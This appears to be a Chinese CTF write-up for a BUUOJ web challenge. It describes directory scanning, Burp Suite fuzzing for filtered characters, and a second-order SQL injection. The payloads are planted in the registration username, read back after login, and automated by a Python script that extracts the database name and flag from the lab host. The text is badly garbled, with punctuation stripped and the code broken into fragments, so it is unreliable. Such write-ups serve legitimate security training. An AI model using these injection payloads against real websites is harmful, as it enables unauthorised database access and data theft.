tix扫描

进入到主页面后发现是可以进行登录的那么我们作为一个安全人员那肯定不会按照常规的方式来进行我们可以尝试扫描一下该网站看是否可以扫描出源码

使用dirmap扫描

http://199cdbee-7e05-404f-9714-5263cd95132e.node5.buuoj.cn:81/

-lcf

https://pypi.tuna.tsinghua.edu.cn/simple注如果出现下列报错则将Ip.py文件中的下列函数进行替换就可以解决了

使用dirsearch扫描

通过使用acunetix对网站进行扫描后发现网站还存在一个register.php页面

注册完成后我们登录

因此现在我们需要编辑一个字典来将可能被过滤的字符集合起来然后使用Burpsuite抓包使用爆破模块看看那些字符被过滤了

和information

现在后端过滤的字符我们已经知道了现在考虑如何在不使用那些字符来实现注入

from

hex(hex(database())))0password123456

注册完成后我们登录

发现用户名是这样的这是因为我们对其进行了两次16进制编码现在再进行两次解码即可

但是因为过滤了information无法获取表这里借鉴别人的经验知道表名大概率都是flag因此我们直接使用下列脚本来获取表名/flag

import

{username:0ascii(substr((select

database())

1))0,password:admin,email:admin11admin.comstr(i)}#注册requests.post(http://2681d301-1d48-4f84-9dee-12d427fbed79.node5.buuoj.cn:81/register.php,data_database)login_data{password:admin,email:admin11admin.comstr(i)}responserequests.post(http://2681d301-1d48-4f84-9dee-12d427fbed79.node5.buuoj.cn:81/login.php,login_data)htmlresponse.text

#返回的页面soupBeautifulSoup(html,html.parser)getUsernamesoup.find_all(span)[0]#获取用户名usernamegetUsername.textif

int(username)0:breakdatabasechr(int(username))return

databasedef

{username:0ascii(substr((select

from

1))0,password:admin,email:admin32admin.comstr(i)}#注册requests.post(http://2681d301-1d48-4f84-9dee-12d427fbed79.node5.buuoj.cn:81/register.php,data_flag)login_data{password:admin,email:admin32admin.comstr(i)}responserequests.post(http://2681d301-1d48-4f84-9dee-12d427fbed79.node5.buuoj.cn:81/login.php,login_data)htmlresponse.text

#返回的页面soupBeautifulSoup(html,html.parser)getUsernamesoup.find_all(span)[0]#获取用户名usernamegetUsername.textif

int(username)0:breakflagchr(int(username))return

print(getFlag())